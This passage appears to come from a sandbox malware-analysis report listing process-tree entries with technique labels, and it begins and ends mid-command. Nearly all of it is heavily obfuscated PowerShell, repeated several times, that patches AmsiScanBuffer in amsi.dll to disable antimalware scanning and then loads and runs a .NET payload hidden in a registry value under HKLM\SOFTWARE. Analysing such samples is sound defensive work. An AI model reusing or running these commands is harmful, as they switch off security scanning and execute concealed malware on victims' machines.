Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+'T'+''+'W'+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+'N'+''+[Char](82)+''+[Char](115)+'ta'+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:gOvCLjaosScA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$xzELjedbTtrtim,[Parameter(Position=1)][Type]$CcLGzLewpC)$FfpJAQqKHVN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+'e'+'c'+''+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+''+'e'+''+[Char](109)+''+'o'+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType(''+'M'+''+[Char](121)+'D'+[Char](101)+''+'l'+'e'+[Char](103)+''+[Char](97)+''+'t'+''+'e'+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+'P'+'u'+''+[Char](98)+'li'+[Char](99)+','+[Char](83)+'e'+[Char](97)+'led'+[Char](44)+''+'A'+''+'n'+'s'+[Char](105)+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'t'+[Char](111)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$FfpJAQqKHVN.DefineConstructor('R'+'T'+''+[Char](83)+'p'+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+'e,'+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g,'+'P'+''+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$xzELjedbTtrtim).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+'t'+''+'i'+''+'m'+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+'na'+[Char](103)+'e'+'d'+'');$FfpJAQqKHVN.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+'c'+',H'+[Char](105)+''+'d'+'eB'+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+'N'+'e'+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+'V'+[Char](105)+''+'r'+'tu'+[Char](97)+''+'l'+'',$CcLGzLewpC,$xzELjedbTtrtim).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+'t'+''+[Char](105)+'m'+[Char](101)+','+'M'+'ana'+[Char](103)+''+[Char](101)+'d');Write-Output $FfpJAQqKHVN.CreateType();}$BXJHrwnFoEBJA=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+'t'+''+[Char](101)+''+'m'+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+'o'+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+''+'n'+''+'3'+'2.'+[Char](85)+'n'+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+'e'+'M'+'et'+[Char](104)+''+'o'+'ds');$MXWWqrSMJERRpB=$BXJHrwnFoEBJA.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](80)+'r'+'o'+''+[Char](99)+''+'A'+''+[Char](100)+'d'+'r'+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+'S'+''+'t'+''+'a'+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$AvZFySQDrAVYFmsdFRz=gOvCLjaosScA @([String])([IntPtr]);$dzTOZyGjlCBPXpBiSUZzvr=gOvCLjaosScA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$plmxDvQMylg=$BXJHrwnFoEBJA.GetMethod(''+[Char](71)+'e'+'t'+''+'M'+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l3'+'2'+'.d'+[Char](108)+''+[Char](108)+'')));$LKSNepJZiXrOPp=$MXWWqrSMJERRpB.Invoke($Null,@([Object]$plmxDvQMylg,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+'i'+'b'+'r'+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$YNPpoVdHZiDWCLpvb=$MXWWqrSMJERRpB.Invoke($Null,@([Object]$plmxDvQMylg,[Object](''+[Char](86)+'i'+[Char](114)+''+'t'+''+[Char](117)+'al'+[Char](80)+'r'+'o'+''+'t'+''+'e'+'c'+[Char](116)+'')));$KMefsCS=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LKSNepJZiXrOPp,$AvZFySQDrAVYFmsdFRz).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$lyNLtONxKCZfTCCME=$MXWWqrSMJERRpB.Invoke($Null,@([Object]$KMefsCS,[Object](''+[Char](65)+''+'m'+'siS'+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+'e'+[Char](114)+'')));$PjvNSpxUhp=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YNPpoVdHZiDWCLpvb,$dzTOZyGjlCBPXpBiSUZzvr).Invoke($lyNLtONxKCZfTCCME,[uint32]8,4,[ref]$PjvNSpxUhp);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](163-26),[Byte](98+112),[Byte](62+122),[Byte](74+13),[Byte](128-128),[Byte](139-132),[Byte](164-36),[Byte](198-67),[Byte](92+142),[Byte](16-16),[Byte](61+134),[Byte](4+127),[Byte](185+50),[Byte](113-113)),0,$lyNLtONxKCZfTCCME,179-165);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YNPpoVdHZiDWCLpvb,$dzTOZyGjlCBPXpBiSUZzvr).Invoke($lyNLtONxKCZfTCCME,[uint32]8,0x20,[ref]$PjvNSpxUhp);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+'T'+''+'W'+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+'N'+''+[Char](82)+''+[Char](115)+'ta'+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:UXMBrPkRdErn{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OlyWUDQiZkZlhJ,[Parameter(Position=1)][Type]$gfXlknVNyr)$eGtZkWrvTIU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+'e'+[Char](99)+''+[Char](116)+''+'e'+''+[Char](100)+'De'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+'e'+'m'+''+'o'+''+'r'+''+[Char](121)+''+'M'+''+'o'+'d'+'u'+'l'+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+'e'+[Char](103)+'a'+'t'+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'',''+'C'+'l'+[Char](97)+'ss'+','+''+'P'+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+''+','+'S'+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+'A'+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s'+[Char](44)+'A'+[Char](117)+''+'t'+''+'o'+''+'C'+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$eGtZkWrvTIU.DefineConstructor(''+'R'+'TS'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+'a'+'m'+'e'+''+','+''+[Char](72)+'i'+'d'+''+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OlyWUDQiZkZlhJ).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+','+'Ma'+[Char](110)+'a'+'g'+''+[Char](101)+''+[Char](100)+'');$eGtZkWrvTIU.DefineMethod('I'+'n'+''+[Char](118)+'ok'+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+''+'i'+''+'d'+''+'e'+'ByS'+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+'o'+'t'+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$gfXlknVNyr,$OlyWUDQiZkZlhJ).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+[Char](105)+''+'m'+'e'+','+'M'+[Char](97)+'na'+'g'+''+'e'+'d');Write-Output $eGtZkWrvTIU.CreateType();}$oQUpKWKrzNXmQ=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+'m'+''+'.'+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+'cr'+[Char](111)+'s'+[Char](111)+'f'+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'32'+[Char](46)+''+'U'+'n'+'s'+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+'v'+'eMe'+'t'+''+[Char](104)+'o'+[Char](100)+''+'s'+'');$gabgGTMOCgqesj=$oQUpKWKrzNXmQ.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+'ro'+'c'+'A'+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+'ta'+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$OmEkKsyAmXxiBQtkEdP=UXMBrPkRdErn @([String])([IntPtr]);$BlDOrAAoexVeKgaAaoFcxc=UXMBrPkRdErn @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ZwdxtfCVAJk=$oQUpKWKrzNXmQ.GetMethod('G'+[Char](101)+'tM'+[Char](111)+''+[Char](100)+''+'u'+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+'r'+''+'n'+'e'+[Char](108)+''+[Char](51)+'2'+'.'+''+[Char](100)+'l'+'l'+'')));$DHUAebkCFcFowf=$gabgGTMOCgqesj.Invoke($Null,@([Object]$ZwdxtfCVAJk,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+'i'+'b'+'r'+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$iLvDqhBmCdBBetYGz=$gabgGTMOCgqesj.Invoke($Null,@([Object]$ZwdxtfCVAJk,[Object]('V'+'i'+''+[Char](114)+'tu'+'a'+'l'+[Char](80)+'ro'+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$eabVBkA=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DHUAebkCFcFowf,$OmEkKsyAmXxiBQtkEdP).Invoke(''+[Char](97)+'m'+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$KBAKHWsWSRUTduVGS=$gabgGTMOCgqesj.Invoke($Null,@([Object]$eabVBkA,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+'Sc'+'a'+''+'n'+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$bWULxTPVtD=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iLvDqhBmCdBBetYGz,$BlDOrAAoexVeKgaAaoFcxc).Invoke($KBAKHWsWSRUTduVGS,[uint32]8,4,[ref]$bWULxTPVtD);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](241-104),[Byte](126+66),[Byte](156+28),[Byte](37+50),[Byte](139-139),[Byte](198-191),[Byte](96+32),[Byte](163-32),[Byte](138+96),[Byte](239-239),[Byte](198-3),[Byte](109+28),[Byte](248-47)),0,$KBAKHWsWSRUTduVGS,124-111);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iLvDqhBmCdBBetYGz,$BlDOrAAoexVeKgaAaoFcxc).Invoke($KBAKHWsWSRUTduVGS,[uint32]8,0x20,[ref]$bWULxTPVtD);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+''+'T'+''+'W'+''+'A'+'R'+'E'+'').GetValue(''+[Char](78)+'R'+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:UXMBrPkRdErn{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OlyWUDQiZkZlhJ,[Parameter(Position=1)][Type]$gfXlknVNyr)$eGtZkWrvTIU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+'e'+[Char](99)+''+[Char](116)+''+'e'+''+[Char](100)+'De'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+'e'+'m'+''+'o'+''+'r'+''+[Char](121)+''+'M'+''+'o'+'d'+'u'+'l'+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+'e'+[Char](103)+'a'+'t'+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'',''+'C'+'l'+[Char](97)+'ss'+','+''+'P'+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+''+','+'S'+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+'A'+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s'+[Char](44)+'A'+[Char](117)+''+'t'+''+'o'+''+'C'+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$eGtZkWrvTIU.DefineConstructor(''+'R'+'TS'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+'a'+'m'+'e'+''+','+''+[Char](72)+'i'+'d'+''+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OlyWUDQiZkZlhJ).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+','+'Ma'+[Char](110)+'a'+'g'+''+[Char](101)+''+[Char](100)+'');$eGtZkWrvTIU.DefineMethod('I'+'n'+''+[Char](118)+'ok'+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+''+'i'+''+'d'+''+'e'+'ByS'+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+'o'+'t'+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$gfXlknVNyr,$OlyWUDQiZkZlhJ).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+[Char](105)+''+'m'+'e'+','+'M'+[Char](97)+'na'+'g'+''+'e'+'d');Write-Output $eGtZkWrvTIU.CreateType();}$oQUpKWKrzNXmQ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+'m'+''+'.'+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+'cr'+[Char](111)+'s'+[Char](111)+'f'+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'32'+[Char](46)+''+'U'+'n'+'s'+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+'v'+'eMe'+'t'+''+[Char](104)+'o'+[Char](100)+''+'s'+'');$gabgGTMOCgqesj=$oQUpKWKrzNXmQ.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+'ro'+'c'+'A'+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+'ta'+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$OmEkKsyAmXxiBQtkEdP=UXMBrPkRdErn @([String])([IntPtr]);$BlDOrAAoexVeKgaAaoFcxc=UXMBrPkRdErn @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ZwdxtfCVAJk=$oQUpKWKrzNXmQ.GetMethod('G'+[Char](101)+'tM'+[Char](111)+''+[Char](100)+''+'u'+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+'r'+''+'n'+'e'+[Char](108)+''+[Char](51)+'2'+'.'+''+[Char](100)+'l'+'l'+'')));$DHUAebkCFcFowf=$gabgGTMOCgqesj.Invoke($Null,@([Object]$ZwdxtfCVAJk,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+'i'+'b'+'r'+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$iLvDqhBmCdBBetYGz=$gabgGTMOCgqesj.Invoke($Null,@([Object]$ZwdxtfCVAJk,[Object]('V'+'i'+''+[Char](114)+'tu'+'a'+'l'+[Char](80)+'ro'+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$eabVBkA=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DHUAebkCFcFowf,$OmEkKsyAmXxiBQtkEdP).Invoke(''+[Char](97)+'m'+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$KBAKHWsWSRUTduVGS=$gabgGTMOCgqesj.Invoke($Null,@([Object]$eabVBkA,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+'Sc'+'a'+''+'n'+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$bWULxTPVtD=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iLvDqhBmCdBBetYGz,$BlDOrAAoexVeKgaAaoFcxc).Invoke($KBAKHWsWSRUTduVGS,[uint32]8,4,[ref]$bWULxTPVtD);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](241-104),[Byte](126+66),[Byte](156+28),[Byte](37+50),[Byte](139-139),[Byte](198-191),[Byte](96+32),[Byte](163-32),[Byte](138+96),[Byte](239-239),[Byte](198-3),[Byte](109+28),[Byte](248-47)),0,$KBAKHWsWSRUTduVGS,124-111);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iLvDqhBmCdBBetYGz,$BlDOrAAoexVeKgaAaoFcxc).Invoke($KBAKHWsWSRUTduVGS,[uint32]8,0x20,[ref]$bWULxTPVtD);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+''+'T'+''+'W'+''+'A'+'R'+'E'+'').GetValue(''+[Char](78)+'R'+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:EQKpKSUtSIAU{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$IUNsQztYknCXTq,[Parameter(Position=1)][Type]$bOOSPtSQgb)$JvIAnULvMiB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+'le'+[Char](99)+''+[Char](116)+''+'e'+''+'d'+''+'D'+'e'+[Char](108)+'e'+'g'+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'Me'+'m'+'o'+'r'+''+'y'+''+'M'+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+'e',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+'g'+'a'+''+[Char](116)+''+[Char](101)+'Ty'+'p'+'e','C'+[Char](108)+''+[Char](97)+'s'+'s'+','+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+'s'+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+',A'+[Char](117)+''+[Char](116)+''+'o'+'C'+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$JvIAnULvMiB.DefineConstructor(''+'R'+''+[Char](84)+''+'S'+''+'p'+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+'m'+'e'+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+'B'+''+[Char](121)+'S'+'i'+''+[Char](103)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$IUNsQztYknCXTq).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e,'+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$JvIAnULvMiB.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'','Pu'+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+'e'+''+'B'+''+'y'+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+'N'+''+'e'+'w'+'S'+''+'l'+'o'+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$bOOSPtSQgb,$IUNsQztYknCXTq).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+'an'+'a'+''+'g'+''+[Char](101)+''+'d'+'');Write-Output $JvIAnULvMiB.CreateType();}$UFkbQrsarSCEA=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+'i'+'c'+''+[Char](114)+'o'+'s'+''+[Char](111)+'f'+'t'+''+'.'+''+[Char](87)+''+[Char](105)+''+[Char](110)+'32'+'.'+''+'U'+''+'n'+''+'s'+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+''+'a'+'t'+[Char](105)+''+[Char](118)+''+'e'+''+'M'+''+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$IPJiixVHuruOHv=$UFkbQrsarSCEA.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+''+'r'+''+[Char](111)+''+'c'+'A'+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+'ss',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+'at'+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wFuILCUcOlSISqtyJpV=EQKpKSUtSIAU @([String])([IntPtr]);$VdVEoTkkdMjyVijtDdMqFT=EQKpKSUtSIAU @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$dFWTXgaWoSl=$UFkbQrsarSCEA.GetMethod('G'+[Char](101)+''+[Char](116)+''+'M'+''+'o'+'d'+[Char](117)+''+[Char](108)+'e'+'H'+''+[Char](97)+''+'n'+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+'n'+'e'+''+[Char](108)+'3'+[Char](50)+'.'+[Char](100)+''+[Char](108)+''+'l'+'')));$hAdPhdOWwYbaFN=$IPJiixVHuruOHv.Invoke($Null,@([Object]$dFWTXgaWoSl,[Object](''+[Char](76)+'oa'+'d'+'Lib'+'r'+''+[Char](97)+'r'+'y'+''+[Char](65)+'')));$zkqqFSvRuMAUIXgPe=$IPJiixVHuruOHv.Invoke($Null,@([Object]$dFWTXgaWoSl,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+''+'P'+'r'+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$egzFuQb=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hAdPhdOWwYbaFN,$wFuILCUcOlSISqtyJpV).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+[Char](100)+'ll');$wLrcRsEAoBVUIzOHD=$IPJiixVHuruOHv.Invoke($Null,@([Object]$egzFuQb,[Object]('AmsiSc'+[Char](97)+'n'+[Char](66)+''+'u'+''+'f'+''+'f'+''+[Char](101)+''+'r'+'')));$yoMTTcMCAY=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zkqqFSvRuMAUIXgPe,$VdVEoTkkdMjyVijtDdMqFT).Invoke($wLrcRsEAoBVUIzOHD,[uint32]8,4,[ref]$yoMTTcMCAY);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](186-49),[Byte](8+211),[Byte](213-29),[Byte](86+1),[Byte](43-43),[Byte](3+4),[Byte](33+95),[Byte](195-64),[Byte](22+171),[Byte](76-76),[Byte](97+98),[Byte](101+30),[Byte](205-12),[Byte](134-134)),0,$wLrcRsEAoBVUIzOHD,21-7);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zkqqFSvRuMAUIXgPe,$VdVEoTkkdMjyVijtDdMqFT).Invoke($wLrcRsEAoBVUIzOHD,[uint32]8,0x20,[ref]$yoMTTcMCAY);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+[Char](84)